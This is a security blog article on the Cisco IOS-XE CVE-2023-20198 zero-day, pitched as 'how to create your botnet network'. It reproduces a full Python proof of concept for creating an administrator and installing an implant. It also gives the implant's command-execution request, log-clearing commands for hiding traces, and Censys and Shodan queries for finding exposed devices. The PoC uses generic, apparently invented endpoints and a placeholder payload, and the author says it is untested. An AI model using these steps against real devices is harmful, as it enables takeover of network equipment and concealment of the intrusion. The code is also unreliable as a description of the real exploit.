Contents

CVE-2023-20198 Cisco IOS-XE ZeroDay - Or how to create your botnet network?

🧟 Cisco CVE-2023-20198 - Or how to create your botnet network?

Introduction

On October 16, 2023, Cisco disclosed a critical privilege escalation vulnerability in the web interface, identified as CVE-2023-20198, with a CVSS score of 10.

Cisco confirms that the vulnerability is being actively exploited. The vulnerability allows an unauthenticated attacker to create an account with the highest privileges. There is currently no patch available for this vulnerability.

Exploitation Details

The exploitation is relatively straightforward. There is no ready-made PoC for this vulnerability. However, an exploit is available on GitHub as of the writing of this article (Friday, October 20, 2023, at 12:00 PM). Link: https://github.com/Tounsi007/CVE-2023-20198

Content of the PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

# Exploit CVE-2023-20198 to create a local user account
create_user_url = "https://target.com/webui/create_user"
username = "cisco_tac_admin"
password = "P@ssw0rd"

user_payload = {
    "username": username,
    "password": password
}

response = requests.post(create_user_url, data=user_payload, verify=False)

if response.status_code == 200:
    print(f"Successfully created local user account: {username}")

# Exploit CVE-2021-1435 to install the implant
install_url = f"https://target.com/webui/cisco_service.conf"
config_content = "<insert implant configuration content here>"

config_payload = {
    "config_content": config_content
}

response = requests.post(install_url, data=config_payload, verify=False)

if response.status_code == 200:
    print("Implant installed successfully")

# Restart the web server to activate the implant
restart_url = "https://target.com/webui/restart_server"

response = requests.post(restart_url, verify=False)

if response.status_code == 200:
    print("Web server restarted successfully. Implant is active")

# Check for the presence of the implant
check_url = f"https://target.com/webui/implant_status"

response = requests.get(check_url, verify=False)

if response.status_code == 200:
    if "implant" in response.text:
        print("Implant is present")
    else:
        print("Implant is not present")

# Clean up by deleting the local user account
delete_user_url = f"https://target.com/webui/delete_user/{username}"

response = requests.delete(delete_user_url, verify=False)

if response.status_code == 200:
    print(f"Successfully deleted local user account: {username}")

Trackflaw is currently unable to test this PoC. This PoC is for educational purposes only.

1. Creating the Administrator

The PoC provides the following information for creating the administrator:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Exploit CVE-2023-20198 to create a local user account
create_user_url = "https://target.com/webui/create_user"
username = "cisco_tac_admin"
password = "P@ssw0rd"

user_payload = {
    "username": username,
    "password": password
}

response = requests.post(create_user_url, data=user_payload, verify=False)

As indicated by Cisco, this corresponds to the unauthenticated creation of an administrator. The attacker makes a POST request to the /webui/create_user route to attempt to create a privileged user.

2. Adding the Implant

After creating an administrator account, attackers deploy an implant similar to the one below:

/images/cisco-cve-2023-20198/2023-10-20-13-02-31.png

This code acts as a backdoor for easier re-entry:

  1. The first condition if(params["menu"]) handles the menu parameter in the URL. It returns a string of numbers, likely indicating the version of the backdoor.
  2. The second condition handles the logon_hash parameter, which must be equal to 1. This parameter returns an 18-character hexadecimal string written in the implant.
  3. The third condition also uses the logon_hash parameter and checks if it matches a hardcoded 40-character hexadecimal string in the implant (password). If this condition is met, the implant checks for the presence of the common_type=subsystem argument in the URL.

The implant can execute code in two ways:

  1. With the current system privileges of the implant using the common_type=subsystem argument.
  2. With administrator privileges 15 using the common_type=iox argument.

In summary, the implant is called with the following POST request:

1
2
3
4
5
6
7
POST /webui/logoutconfirm.html?logon_hash=<implant_password>&common_type=subsystem HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: X
Accept: */*

<command to execute>

According to several sources, the method of installing the implant remains unclear. One possible method is the use of the vulnerability CVE-2021-1435, as described in the PoC.

1
2
3
4
5
6
7
8
9
# Exploit CVE-2021-1435 to install the implant
install_url = f"https://target.com/webui/cisco_service.conf"
config_content = "<insert implant configuration content here>"

config_payload = {
    "config_content": config_content
}

response = requests.post(install_url, data=config_payload, verify=False)

This vulnerability is patched and independent of the CVE-2023-20198 vulnerability: https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-iosxe-webcmdinjsh-UFJxTgZD.html

It is likely that attackers use the created administrator account to deploy their implant.

3. Restarting the Service

According to the PoC, it is necessary to restart the service to save the implant’s configuration.

1
2
3
4
# Restart the web server to activate the implant
restart_url = "https://target.com/webui/restart_server"

response = requests.post(restart_url, verify=False)

4. Verifying the Presence of the Implant

Once the implant is deployed, you can verify its execution. Change the route according to the implant’s configuration (example of the retrieved implant below).

1
2
3
4
# Check for the presence of the implant
check_url = f"https://target.com/webui/logoutconfirm.html?logon_hash=1"

response = requests.get(check_url, verify=False)

5. Clearing Traces

After deploying the implant, attackers remove their traces with the following commands:

1
2
3
4
clear logging
no username cisco_support
no username cisco_tac_admin
no username cisco_sys_manager

It is also possible to do this through the web interface:

1
2
3
4
# Clean up by deleting the local user account
delete_user_url = f"https://target.com/webui/delete_user/{username}"

response = requests.delete(delete_user_url, verify=False)

Locating Vulnerable Hosts

It is possible to perform a search on the Censys engine with the keyword services.labels=cisco-xe-webui to locate devices running XE WebUI.

/images/cisco-cve-2023-20198/2023-10-20_13-41.png

Protection

Cisco recommends disabling the HTTP/S server function on systems accessible over the Internet. There is currently no patch available.

According to Shodan, there are more than 140,000 vulnerable devices worldwide (search: http.html_hash:1076109428).

/images/cisco-cve-2023-20198/2023-10-20-13-45-18.png

Summary

Here is a summary of the exploitation through an animation:

/images/cisco-cve-2023-20198/Exploitation CVE-2023-20198.gif

Sources